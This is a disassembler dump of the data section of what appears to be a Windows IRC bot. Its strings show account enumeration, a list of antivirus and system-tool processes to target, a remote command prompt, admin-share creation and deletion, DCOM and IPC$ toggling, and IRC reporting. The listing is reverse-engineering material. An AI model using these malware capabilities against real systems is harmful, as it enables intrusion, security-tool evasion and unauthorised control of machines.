sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_439364 db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 4 unk_439398 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 10h dword_4396A0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_4396CC db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396F8 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439800 dd offset dword_4397F4 dd offset dword_4397E8 dd offset dword_4397DC dd offset dword_4397D0 dd offset dword_4397C4 dd offset dword_4397B4 dd offset dword_4397A8 dd offset dword_43979C dd offset dword_439790 dd offset dword_439784 dd offset dword_439774 dd offset dword_439768 dd offset dword_439758 dword_439758 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:00439754o dword_439768 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439750o dword_439774 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043974Co dword_439784 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439748o dword_439790 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439744o dword_43979C dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439740o dword_4397A8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043973Co dword_4397B4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439738o dword_4397C4 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439734o dword_4397D0 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439730o dword_4397DC dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043972Co dword_4397E8 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439728o dword_4397F4 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439724o dword_439800 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439720o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043971Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439718o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439714o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439710o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043970Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439708o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439704o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439700o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396FCo align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396F8o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 10h unk_4398B0 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_4398D4 db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_4398F8 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_439928 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439958 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_439980 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_4399B0 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399E4 db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_439A08 dd offset dword_439A40 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 10h dd offset dword_439A38 align 8 off_439A18 dd offset dword_439A34 ; DATA XREF: sub_41A19D+1E3o dd offset off_439A30 dd offset dword_439A2C dd offset off_439A28 off_439A28 dd offset dword_5C3A44 ; DATA XREF: sub_419E79+217o ; ___:00439A24o dword_439A2C dd 2444h ; DATA XREF: ___:00439A20o off_439A30 dd offset byte_5C3A43 ; DATA XREF: ___:00439A1Co dword_439A34 dd 2443h ; DATA XREF: ___:off_439A18o dword_439A38 dd 494D4441h, 244Eh ; DATA XREF: ___:00439A10o dword_439A40 dd 24435049h, 0 ; DATA XREF: ___:off_439A08o dword_439A48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439A78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_439AA0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439ACC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_439AF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439B1C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_439B40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439B70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439BAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_439BE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 10h dword_439C30 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C60 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 10h dword_439CB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439D08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439D28 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DDC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_439E50 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A068 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A144 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 4 aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 4 dword_43A178 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A1BC dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A1C0 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A1C4 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A1CC dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1DC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A20C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A238 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A254 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A290 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A2AC dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo dword_43A2B0 dd 6682898Ch ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A2C0 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A2CC dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2D8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2DC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2F0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2F4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A300 dd offset off_43A300 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A304 dd offset off_43A300 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A318 dd offset dword_43A318 dword_43A310 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A318 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A308o ; ___:0043A30Co off_43C320 dd offset off_43A300 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C324 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C328 dd offset word_43C332 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C32C dd offset word_43C332 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C332 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C328o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C534 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C538 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C540 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C544 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C548 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C550 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C554 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C560 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C640 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C644 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C7A8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C7B0 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C7B8 dd 14h ; DATA XREF: sub_421624+2o off_43C7BC dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C2A0h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C890 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C8A0 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C8B8 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C8C4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8D0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8D4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8D8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8DC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8E0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8E4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8F4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8F8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8FC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C970 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C974 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C978 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C97C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C980 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C988 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C98C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433854h dd 0FFh, 427960h off_43CA18 dd offset dword_4DB5E0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5E0 dd 101h dword_43CA28 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA38 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA58 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA88 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC98 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CCA0 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CCA8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CCC0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCD8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCDC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCE0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCE4 dd offset dword_545350 ; DATA XREF: ___:off_43CD64o dd 0Fh dup(0) off_43CD24 dd offset dword_544450 